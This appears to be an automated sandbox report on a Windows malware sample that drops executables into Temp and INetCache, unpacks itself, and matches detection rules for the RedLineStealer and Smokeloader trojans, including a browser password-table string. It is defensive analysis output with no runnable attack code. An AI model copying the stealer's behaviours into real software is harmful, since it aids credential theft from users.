Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00689B7B	3_2_00689B7B
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0068FB7D	3_2_0068FB7D
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00669B70	3_2_00669B70
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00662B40	3_2_00662B40
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00679B30	3_2_00679B30
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00665B00	3_2_00665B00
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006A0B00	3_2_006A0B00
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00688B10	3_2_00688B10
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006723EC	3_2_006723EC
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00671BDE	3_2_00671BDE
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0069C460	3_2_0069C460
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00688C62	3_2_00688C62
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006A4C20	3_2_006A4C20
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006A1C26	3_2_006A1C26
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0069B410	3_2_0069B410
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006924EE	3_2_006924EE
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0068F4E1	3_2_0068F4E1
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006664C0	3_2_006664C0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0067D4A0	3_2_0067D4A0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0069E520	3_2_0069E520
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00668D10	3_2_00668D10
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006A2DCA	3_2_006A2DCA
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00675DD8	3_2_00675DD8
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00685DA0	3_2_00685DA0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006685B0	3_2_006685B0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00669660	3_2_00669660
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00664E20	3_2_00664E20
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006786E5	3_2_006786E5
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0069E6E0	3_2_0069E6E0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0069C6C0	3_2_0069C6C0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006A4680	3_2_006A4680
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0067DE90	3_2_0067DE90
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0069CE90	3_2_0069CE90
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0069DF60	3_2_0069DF60
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00689F7C	3_2_00689F7C
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00688750	3_2_00688750
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00667730	3_2_00667730
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00693707	3_2_00693707
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00662F10	3_2_00662F10
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00685713	3_2_00685713
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0068F716	3_2_0068F716
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006727E0	3_2_006727E0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0068A7F0	3_2_0068A7F0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00694FF0	3_2_00694FF0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00687FC0	3_2_00687FC0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_00693FDF	3_2_00693FDF
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_006A37D0	3_2_006A37D0
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: 3_2_0068AF92	3_2_0068AF92

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: String function: 0040C5A4 appears 35 times
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: String function: 020FD627 appears 53 times
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: String function: 0040CA53 appears 113 times
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: String function: 020FCCBA appears 112 times
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: String function: 0040D3C0 appears 53 times
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: String function: 00668280 appears 47 times
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Code function: String function: 00674C20 appears 145 times

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6036 -s 1768

Source: xHj1N8ylIf.exe	Binary or memory string: OriginalFileName vs xHj1N8ylIf.exe
Source: xHj1N8ylIf.exe, 00000000.00000002.2833651969.0000000000400000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFileNameScreenshoter.exeF vs xHj1N8ylIf.exe
Source: xHj1N8ylIf.exe, 00000000.00000000.1588611331.0000000000457000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenamesOrihinal4 vs xHj1N8ylIf.exe
Source: xHj1N8ylIf.exe, 00000000.00000003.1596409227.0000000002160000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameScreenshoter.exeF vs xHj1N8ylIf.exe
Source: xHj1N8ylIf.exe, 00000000.00000003.1662428500.0000000003793000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilename0ispMsorts.exe8 vs xHj1N8ylIf.exe
Source: xHj1N8ylIf.exe, 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFileNameScreenshoter.exeF vs xHj1N8ylIf.exe
Source: xHj1N8ylIf.exe	Binary or memory string: OriginalFilenamesOrihinal4 vs xHj1N8ylIf.exe

Source: xHj1N8ylIf.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 00000000.00000002.2835002444.00000000020B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2835175014.00000000020F0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Smokeloader_3687686f reference_sample = 8b3014ecd962a335b246f6c70fc820247e8bdaef98136e464b1fdb824031eef7, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = 0f483f9f79ae29b944825c1987366d7b450312f475845e2242a07674580918bc, id = 3687686f-8fbf-4f09-9afa-612ee65dc86c, last_modified = 2021-08-23

Source: xHj1N8ylIf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@4/7@2/3

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Code function: 0_2_020B07A6 CreateToolhelp32Snapshot,Module32First,

0_2_020B07A6

Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe

Code function: 3_2_0069D0D0 RtlExpandEnvironmentStrings,CoCreateInstance,SysAllocString,CoSetProxyBlanket,SysAllocString,SysAllocString,VariantInit,VariantClear,SysFreeString,SysFreeString,SysFreeString,SysFreeString,GetVolumeInformationW,

3_2_0069D0D0

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\track_prt[1].htm

Jump to behavior

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Mutant created: \Sessions\1\BaseNamedObjects\5rjtejk5rytrr
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess6036

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

File created: C:\Users\user\AppData\Local\Temp\5796.tmp

Jump to behavior

Source: xHj1N8ylIf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 5796.tmp.exe, 00000003.00000003.2708260293.0000000003598000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2720032363.0000000003594000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2720514388.0000000003631000.00000004.00000800.00020000.00000000.sdmp, 5796.tmp.exe, 00000003.00000003.2708132661.00000000035B5000.00000004.00000800.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: xHj1N8ylIf.exe	Virustotal: Detection: 42%
Source: xHj1N8ylIf.exe	ReversingLabs: Detection: 48%

Source: unknown	Process created: C:\Users\user\Desktop\xHj1N8ylIf.exe "C:\Users\user\Desktop\xHj1N8ylIf.exe"
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Process created: C:\Users\user\AppData\Local\Temp\5796.tmp.exe "C:\Users\user\AppData\Local\Temp\5796.tmp.exe"
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 6036 -s 1768
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Process created: C:\Users\user\AppData\Local\Temp\5796.tmp.exe "C:\Users\user\AppData\Local\Temp\5796.tmp.exe"	Jump to behavior

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: msimg32.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: msvcr100.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Unpacked PE file: 0.2.xHj1N8ylIf.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:ER;.rdata:R;.data:W;.rsrc:R;

Detected unpacking (overwrites its own PE header)

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Unpacked PE file: 0.2.xHj1N8ylIf.exe.400000.0.unpack

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Code function: 0_2_0041B8FE LoadLibraryExW,GetLastError,LoadLibraryW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0041B8FE

Source: ScreenUpdateSync[1].exe.0.dr	Static PE information: section name: .textbss
Source: ScreenUpdateSync[1].exe.0.dr	Static PE information: section name: .msvcjmc
Source: ScreenUpdateSync[1].exe.0.dr	Static PE information: section name: .00cfg
Source: ScreenUpdateSync[1].exe.0.dr	Static PE information: section name: .fptable
Source: 5796.tmp.exe.0.dr	Static PE information: section name: .textbss
Source: 5796.tmp.exe.0.dr	Static PE information: section name: .msvcjmc
Source: 5796.tmp.exe.0.dr	Static PE information: section name: .00cfg
Source: 5796.tmp.exe.0.dr	Static PE information: section name: .fptable

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0040D406 push ecx; ret	0_2_0040D419
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0040CA2D push ecx; ret	0_2_0040CA40
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020B309B push es; ret	0_2_020B30BD
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020B20BE push ecx; iretd	0_2_020B20BF
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020B276D push ecx; ret	0_2_020B2804
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020B27DB push ecx; ret	0_2_020B2804
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020B2B12 pushad ; ret	0_2_020B2B25
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020B4EAF pushad ; ret	0_2_020B4EB0
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020B2F9E push 00000003h; ret	0_2_020B2FA2
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0212464F push esp; retf	0_2_02124657
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020FD66D push ecx; ret	0_2_020FD680
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_02126A98 pushad ; retf	0_2_02126A9F
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_0212AA8E push dword ptr [esp+ecx-75h]; iretd	0_2_0212AA92
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_02124C4D push esp; retf	0_2_02124C4E
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Code function: 0_2_020FCC94 push ecx; ret	0_2_020FCCA7

Source: xHj1N8ylIf.exe

Static PE information: section name: .text entropy: 7.871790265425248

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\ScreenUpdateSync[1].exe			Jump to dropped file
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	File created: C:\Users\user\AppData\Local\Temp\5796.tmp.exe			Jump to dropped file

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe

Code function: 0_2_0040B882 GetModuleHandleW,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_0040B882

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate			Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\xHj1N8ylIf.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\5796.tmp.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
